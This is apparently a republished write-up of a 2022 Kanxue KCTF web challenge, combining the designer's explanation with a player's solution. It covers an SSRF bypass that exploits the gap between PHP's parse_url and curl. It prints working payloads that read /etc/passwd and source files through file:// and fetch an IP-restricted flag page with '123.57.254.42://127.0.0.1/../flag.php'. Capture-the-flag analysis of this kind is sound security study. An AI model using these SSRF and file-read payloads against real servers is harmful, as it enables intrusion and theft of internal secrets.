看雪 2022 KCTF春季赛 于5月10日中午12点正式开赛!第四题《飞蛾扑火》经过两天的激烈pk,于今日中午12点截止答题,经统计,本题围观人数2573人,共计19支战队成功破解。【mininepRe战队】用时47分6秒就拿下本题的“一血”,太强了!可以看到此题前三名:【mininepRe战队】、【xtgo战队】、【INVCODE战队】的用时与后面攻破此题的战队用时少很多,前三当之无愧!现在第四题《飞蛾扑火》已截止答题,接下来和我一起来看看该赛题的设计思路和相关解析吧!http://101.89.140.207:8044/phpinfo.php phpinfo的信息,暂时不知道有什么用。http://101.89.140.207:8044/url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png感觉是请求了图片显示在页面,猜测可能有SSRF漏洞。测试http://101.89.140.207:8044/url.php?url=https://www.baidu.com测试http://101.89.140.207:8044/url.php?url=127.0.0.1/index.php返回host is null,搞不清楚什么情况,试试读文件。http://101.89.140.207:8044/url.php?url=file:///proc/self/cwd/url.php通过链接:view-source:http://101.89.140.207:8044/url.php?url=file://127.0.0.1/proc/self/cwd/url.php<?php
function curl_request($url, $data=null, $method='get', $header = array("content-type: application/json"), $https=true, $timeout = 5){
$method = strtoupper($method);
$ch = curl_init();//初始化
curl_setopt($ch, CURLOPT_URL, $url);//访问的URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//只获取页面内容,但不输出
if($https){
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//https请求 不验证HOST
}
if ($method != "GET") {
if($method == 'POST'){
curl_setopt($ch, CURLOPT_POST, true);//请求方式为post请求
}
if ($method == 'PUT' || strtoupper($method) == 'DELETE') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); //设置请求方式
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//请求数据
}
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //模拟的header头
//curl_setopt($ch, CURLOPT_HEADER, false);//设置不需要头信息
$result = curl_exec($ch);//执行请求
curl_close($ch);//关闭curl,释放资源
return $result;
}
$url=$_GET["url"];
$uu=parse_url($url);
$host=isset($uu["host"])?$uu["host"]:"";
$scheme=isset($uu["scheme"])?$uu["scheme"]:"";
if(empty($host)){
die("host is null");
}
if(empty($scheme)){
die("scheme is null");
}
//https://ctf.pediy.com/upload/team/762/team236762.png?
if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
echo curl_request($url,'',"get",[],true,5);
}else{
die("host not allow");
}
?>
原来是使用了curl,同时发现了一个新的被注释掉的地址:http://123.57.254.42/flag.php 这个地址访问应该就能得到flag,然而情况并没有这么简单,提示了IP错误,看来需要以我们这台服务器发起SSRF请求才能绕过这个限制。
但是这里要检查host是否为ctf.pediy.com,127.0.0.1和localhost而这个host和scheme时通过parse_url函数得到的。这里就需要用到phpinfo的提示了,这里显示php版本为7.3.11,其实经过测试,php7.3.12和7.3.11(其他版本未测试),在进行curl请求的时候,表现比较怪异。这样的请求,parse_url得到的host是ctf.pediy.com但是curl实际请求的又是127.0.0.1。这样就造成了一个SSRF漏洞。http://101.89.140.207:8044/url.php?url=123.57.254.42://ctf.pediy.com/../flag.php总结:以上curl_request的代码是从百度上搜索到的常用curl封装代码,apache+php7.3.11也是默认安装,而且即使是高版本的php,curl读取文件的问题还是存在,因此使用这样的默认封装代码是否安全有待商榷。灵感来源于一次渗透过程中,数据库关键字段采用了AES加密,审计代码发现秘钥写在另外一个http://xxx.com/key的链接里面的,尝试访问提示IP错误,通过受控服务器访问成功获取到AES秘钥。本赛题解析由看雪论坛会员 KEEEY 给出:
题目地址:http://121.36.145.157:8044,访问得到页面内容如下所示:<!--phpinfo.php-->
<img src="url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png">
根据返回内容我们可以得知,该Web地址有两个文件:
/phpinfo.php
/url.php?url=
我们可以逐一访问来一探究竟,第一个文件展示当前PHP环境的一些配置信息http://121.36.145.157:8044/phpinfo.php:第二个文件带有一个请求参数url,该参数默认展示的值是看雪CTF战队的头像地址:
此处可能有SSRF,于是猜测可能是考SSRF+Redis,内网探测了一波无果。思考一下,既然此处有SSRF会不会存在文件读取呢?读取文件之前我们先判断当前服务器是Linux / Windows,可以使用请求路径的大小写判断(Linux大小写敏感,Windows大小写不敏感)分别请求如下地址:http://121.36.145.157:8044/url.php -> 返回200
http://121.36.145.157:8044/urL.php -> 返回404
根据访问结果判断当前是Linux系统,所以尝试使用file:///etc/passwd带入带url参数值中请求:返回结果提示host为空的,这就是说后端可能有一个判断host的逻辑,因为在file协议加入host不影响使用,所以我们可以修改下请求值为file://127.0.0.1/etc/passwd,成功获取到passwd文件的内容:
接着根据之前/phpinfo.php文件返回的配置信息,知道当前网站路径为/var/www/html,所以我们可以尝试读取当前的url.php文件(参数值为file://127.0.0.1/var/www/html/url.php):
至此,我们得到了PHP文件源码,接着就是看逻辑找缺陷。从代码逻辑上看,就是获取请求参数值,根据parse_url函数去解析之,接着取解析后的host判断是否是127.0.0.1、localhost、ctf.pediy.com,如果是,则使用curl进行请求,并返回请求的结果。并且在代码中的注释也提示了我们,要想获取flag就要去请求如下这个地址://echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
而这个地址是限制了IP访问的(尝试请求头伪造啥的都无法绕过):所以我们需要通过这个SSRF去请求到该地址才能知道该地址的文件内容获取Flag。这种搭配很眼熟,想到使用parse_url函数和curl的解析差异去满足host值判断逻辑,并且curl还能去请求到Flag所在的目标地址:但是这里却用不了,看了下这类Tricks是有指定的curl版本的,根据/phpinfo.php返回的内容告诉我们,这并不满足目标版本:但是根据代码所知这个方向肯定没问题,所以我们需要自己去构建满足逻辑的差异解析值。http://123.57.254.42{%00-%FF}{%00-%FF}127.0.0.1/
http://123.57.254.42{%00-%FF}127.0.0.1{%00-%FF}
...
但最终都没有成功,所以回归本质,我们知道URL的组成格式如下:根据前辈们所实践出来的结果,它们一直在都处在中间层user:[email protected]:port去绕过,那么有没有一种可能,我们不需要完全满足URL的格式呢?尝试了很多结果,最终发现如下值,成功绕开逻辑并且使得curl访问到目标Flag机器:123.57.254.42://127.0.0.1
我们根据返回结果可以得知,请求到了123.57.254.42,并且请求的是/127.0.0.1路径,所以我们可以跨目录的形式去请求flag.php:
123.57.254.42://127.0.0.1/../flag.php
接着我们来理一理,这是为什么可以绕过去,从parse_url函数角度去看这个值:
123.57.254.42 -> scheme
127.0.0.1 -> host
../flag.php -> path
123.57.254.42 -> host
/127.0.0.1/../flag.php -> path
由于没有scheme,则自动补全使用http://。所以,最后我们知道正是因为这种实现的差异化导致了本题目所表达的问题。第五题《危机四伏》正在进行中,
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458444999&idx=1&sn=3be671c2bfbf3c02c5fff7ee7386c72d&chksm=b18fd44d86f85d5be50c761d62f507dc0c7286208b874c5a817beb0b2307932c9a4f882fd8ab#rd
如有侵权请联系:admin#unsafe.sh